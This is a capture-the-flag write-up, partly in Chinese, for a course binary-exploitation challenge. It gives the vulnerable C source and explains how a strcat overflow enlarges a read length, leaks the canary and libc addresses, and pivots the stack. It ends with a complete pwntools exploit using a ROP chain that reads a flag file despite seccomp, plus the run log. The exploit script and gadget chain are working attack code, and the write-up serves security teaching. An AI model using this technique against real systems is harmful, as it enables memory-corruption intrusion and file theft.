# Simple PWN 0x37(2023 HW - HACHAMA)
## Background
stack pivot
rop
bof
## Source code
:::spoiler Source Code
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "SECCOMP.h"
long n;
char msg[0x20];
long n2;
struct sock_filter seccompfilter[]={
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum),
Allow(open),
Allow(openat),
Allow(read),
Allow(write),
Allow(close),
Allow(readlink),
Allow(getdents),
Allow(getrandom),
Allow(brk),
Allow(rt_sigreturn),
Allow(exit),
Allow(exit_group),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog filterprog={
.len=sizeof(seccompfilter)/sizeof(struct sock_filter),
.filter=seccompfilter
};
void apply_seccomp(){
if(prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0)){
perror("Seccomp Error");
exit(1);
}
if(prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&filterprog)==-1){
perror("Seccomp Error");
exit(1);
}
return;
}
int main(void)
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
apply_seccomp();
char buf2[0x30];
// long n2 = 0x30;
// char msg[0x20];
char name[0x20];
// long n = 20;
n2 = 0x30;
n = 20;
printf("Haaton's name? ");
n = read(0, name, n);
name[n] = 0;
strcpy(msg, name);
strcat(msg, " hachamachama");
puts(msg);
puts("ECHO HACHAMA!");
while (1)
{
read(0, buf2, n2);
if (strcmp(buf2, "HACHAMA") == 0)
write(1, buf2, n2);
else
break;
}
return 0;
}
```
:::
## Recon
:::warning
切記題目用read接,所以不需要null byte做結尾,另外題目使用的libc是ubuntu 22.04.2的版本,所以可以用docker把libc資料撈出來,再針對這個做應用
:::
這一題我覺得出的很好,有很特別的exploit,也需要用到很多前兩周學會的幾乎所有技能,包含BOF / return 2 libc / stack pivot / ROP等等
1. ==**漏洞在哪裡???**==
首先,乍看之下會不知道這個洞在哪裡,不過多try幾次或是跟一下動態會發現,他做的事情會蓋到原本==n2==的數值,導致我們之後可以輸入更多的東西
詳細來說就是:
因為在#61的地方輸入的東西被存到local variable name,而在#63會被copy到global variable ==msg==,並且和` hachamachama`合併在一起,如果一開始我們輸入的東西是20個字元,而concatenate的` hachamachama`總共13個字元,加起來就已經是==33==個字元,但如下圖所示,msg一開始的大小就被限制在32 bytes,也就是說他會蓋到後面n2的值

從下圖可以看出來,因為長度超過的關係,原本`hachamachama`的最後一個字元,也就是0x61往後蓋到n2的值,這代表我們在往後的地方可以多加利用

2. 知道漏洞在哪裡之後,我們就可以利用這個洞,把stack的東西leak出來
```python
payload = b'HACHAMA'.ljust(0x8, b'\x00')
r.send(payload)
result = r.recv(0x61)
log.info("[-------------Stack Info-------------]")
for i in range(12):
log.info(hex(u64(result[i * 8:i * 8 + 8])))
log.info("[-------------Stack Info-------------]")
canary = u64(result[7 * 8:7 * 8 + 8])
libc_start_main = u64(result[9 * 8:9 * 8 + 8]) - 0x80
libc_base_addr = libc_start_main - 0x29d90 + 0x80
main_fn_addr = u64(result[11 * 8:11 * 8 + 8])
code_segment_base = main_fn_addr - 0x331
log.success(f'Canary = {hex(canary)}')
log.success(f'libc start main base = {hex(libc_start_main)}')
log.success(f'libc base addr = {hex(libc_base_addr)}')
log.success(f'Main Function Address = {hex(main_fn_addr)}')
log.success(f'Code Segment = {hex(code_segment_base)}')
```
3. 有了canary / libc base 和code segment base / main function address,就可以來搞事了,初步的想法是直接寫一個open / read / write的syscall(因為seccomp的關係導致我們的操作極其有限),不過因為我們也只是多了0x31的空間可以寫ROP,代表一定沒辦法把所有的shellcode都寫上去,這時候就需要用到stack pivot的技術,開一個相對大的空間繼續我們的作業,但就像@ccccc說的
> stack pivot只是把你的stack用到其他地方而已,並不會因為你換了stack的位置你就能overflow比較多
所以比較正確的觀念是,我先利用多出來的0x31把可以用的空間開大,再寫gadget,會比較方便,如果是像lab那樣每一個步驟都切成一個stack pivot的話也不現實,因為一個操作所需要的空間一定大於0x31,隨便舉個例子,如果是open→`fd = open("/home/chal/flag.txt", 0);`,全部的payload如下:
```python
payload = b'/home/chal/flag.txt'.ljust(0x38, b'\x00')
payload += flat(
canary,
0,
pop_rax_ret, 2,
pop_rdi_ret, bss_addr_flag - 0x40,
pop_rdx_rbx_ret, 0, 0,
pop_rsi_ret, 0,
syscall_ret
)
```
最少也需要0x98的空間,所以擴大可以寫的空間是必要的,但我還是稍微嘮叨一下,一開始我的想法是直接把n2的數值改掉,這樣就可以解決上述的問題,但實際操作會發現這也不現實,因為payload也會過長,如下
```python
payload = b'a' * 0x38
payload += flat(
canary,
rbp,
pop_rdi_ret, n2_addr,
pop_rdx_ret, 0x200,
mov_qword_ptr_rdi_rdx_ret,
main_fn_addr + 291,
)
```
這樣最少也需要0x78的空間,比起最大值的0x61還差蠻多的,所以昨天就想了超久怎麼解決這個問題
3. 解決空間大小的問題
這個要回到動態實際執行的時候是怎麼呼叫的(如下圖),這一題有趣的地方在這邊,理論上我們是回到main+291,讓他fetch n2的值給RAX,但如果我直接跳到main+298,並且利用rop把rax變大,是不是也有一樣的效果

```python
extend_payload = flat(
canary,
bss_addr_flag,
pop_rax_ret, 400,
main_fn_addr + 298,
)
```
此時我們就不需要那麼多的gadget幫助完成該目標
4. 剩下的open / read / write就和lab差不多
:::success
截至目前為止,我們的流程是
1. 設法利用overflow改變n2的數值,使我們能夠輸入更多shell code
2. 先利用第一次的write輸入stack上的重要資訊
3. 因為n2空間還是太小,所以我們需要先擴大能夠寫入的空間,也就是先利用第一次的stack pivot把shellcode寫上去→main+291
4. 執行shellcode後,使rax變大再跳回去main+298
5. 寫入真正的open / read / write讀出flag
:::
:::warning
注意事項:
1. canary
因為他有開stack protection,所以一定要對好canary在stack上的位置,可以用動態去看,依照這一題的狀況,他是會在rbp+0x40的地方
2. libc version
這一題因為要leak libc的base address,並且利用ROP gadget達到syscall的目的,所以一定要確定remote server使用的版本是哪一個,光知道大的版本號是有可能會失敗的,因為像我local端到最後有成功,但跑在remote就爛掉了,和@david學長討論過後的結果就是libc version有問題,實際用docker去看彼此的差異就會發現,右邊是我的→22.04.3,而左邊是實際remote的docker開出來的結果→22.04.2,所以我的作法是把docker中的東西拉出來再使用,包含在local端使用以及找gadget

```bash
$ docker cp /lib/x86_64-linux-gnu/libc.so.6 /mnt/d/Downloads/
```
3. IO problem
這個問題也是很弔詭,會發現我在最後一個send之前還有一個raw_input(),如果拿掉的話在remote一樣會爛掉,這有可能是IO之類的問題,但總之一定要加
:::
## Exploit - BOF + Stack Pivot + ROP
```python
from pwn import *
r = process('./chal', env={"LD_PRELOAD" : "./libc.so.6"})
r = remote('10.113.184.121', 10056)
context.arch = 'amd64'
# Try to trigger length exploit
payload = b'a' * 20
r.sendafter(b"Haaton's name? ", payload)
print(r.recvlines(2))
# Leak stack info
payload = b'HACHAMA'.ljust(0x8, b'\x00')
r.send(payload)
result = r.recv(0x61)
log.info("[-------------Stack Info-------------]")
for i in range(12):
log.info(hex(u64(result[i * 8:i * 8 + 8])))
log.info("[-------------Stack Info-------------]")
canary = u64(result[7 * 8:7 * 8 + 8])
libc_start_main = u64(result[9 * 8:9 * 8 + 8]) - 0x80
libc_base_addr = libc_start_main - 0x29d90 + 0x80
main_fn_addr = u64(result[11 * 8:11 * 8 + 8])
code_segment_base = main_fn_addr - 0x331
log.success(f'Canary = {hex(canary)}')
log.success(f'libc start main base = {hex(libc_start_main)}')
log.success(f'libc base addr = {hex(libc_base_addr)}')
log.success(f'Main Function Address = {hex(main_fn_addr)}')
log.success(f'Code Segment = {hex(code_segment_base)}')
# Prepare ROP gadget
pop_rax_ret = libc_base_addr + 0x0000000000045eb0# : pop rax ; ret
pop_rdi_ret = libc_base_addr + 0x000000000002a3e5# : pop rdi ; ret
pop_rsi_ret = libc_base_addr + 0x000000000002be51# : pop rsi ; ret
pop_rdx_ret = libc_base_addr + 0x00000000000796a2# : pop rdx ; ret
pop_rdx_rbx_ret = libc_base_addr + 0x0000000000090529# : pop rdx ; pop rbx ; ret
syscall_ret = libc_base_addr + 0x0000000000091396# : syscall ; ret
bss_addr = code_segment_base + 0x3000 + 0x200
bss_addr_flag = bss_addr + 0x400
bss_addr_buf = bss_addr_flag + 0x120
file_addr = b'/home/chal/flag.txt'.ljust(0x38, b'\x00')
trash_payload = flat(
canary,
bss_addr,
main_fn_addr + 291
)
extend_payload = flat(
canary,
bss_addr_flag,
pop_rax_ret, 400,
main_fn_addr + 298,
)
open_payload = flat(
# Open file
# fd = open("/home/chal/flag.txt", 0);
pop_rax_ret, 2,
pop_rdi_ret, bss_addr_flag - 0x40,
pop_rdx_rbx_ret, 0, 0,
pop_rsi_ret, 0,
syscall_ret
)
read_payload = flat(
# Read the file
# read(fd, buf, 0x30);
pop_rax_ret, 0,
pop_rdi_ret, 3,
pop_rsi_ret, bss_addr_buf,
pop_rdx_rbx_ret, 0x70, 0,
syscall_ret
)
write_payload = flat(
# Write the file
# write(1, buf, 0x30);
pop_rax_ret, 1,
pop_rdi_ret, 1,
# pop_rsi_ret, bss_addr_buf,
# pop_rdx_ret, 0x70,
syscall_ret
)
# Extend rbp space
r.send(b'a' * 0x38 + trash_payload)
r.send(b'a' * 0x38 + extend_payload)
# Write Exploit ROP gadget
raw_input()
r.send(file_addr + p64(canary) + p64(0) + open_payload + read_payload + write_payload)
r.interactive()
```
```bash
$ python exp.py
[+] Starting local process './chal': pid 5857
[+] Opening connection to 10.113.184.121 on port 10056: Done
[b'aaaaaaaaaaaaaaaaaaaa hachamachama', b'ECHO HACHAMA!']
[*] [-------------Stack Info-------------]
[*] 0x414d4148434148
[*] 0x0
[*] 0x0
[*] 0x0
[*] 0x0
[*] 0x0
[*] 0x0
[*] 0x2be6a8b7acfcbc00
[*] 0x1
[*] 0x7fef436ccd90
[*] 0x0
[*] 0x560ff1bf4331
[*] [-------------Stack Info-------------]
[+] Canary = 0x2be6a8b7acfcbc00
[+] libc start main base = 0x7fef436ccd10
[+] libc base addr = 0x7fef436a3000
[+] Main Function Address = 0x560ff1bf4331
[+] Code Segment = 0x560ff1bf4000
[*] Switching to interactive mode
flag{https://www.youtube.com/watch?v=qbEdlmzQftE&list=PLQoA24ikdy_lqxvb6f70g1xTmj2u-G3NT&index=1}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Segmentation fault
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 10.113.184.121 port 10056
[*] Stopped process './chal' (pid 5857)
```
Flag: `flag{https://www.youtube.com/watch?v=qbEdlmzQftE&list=PLQoA24ikdy_lqxvb6f70g1xTmj2u-G3NT&index=1}`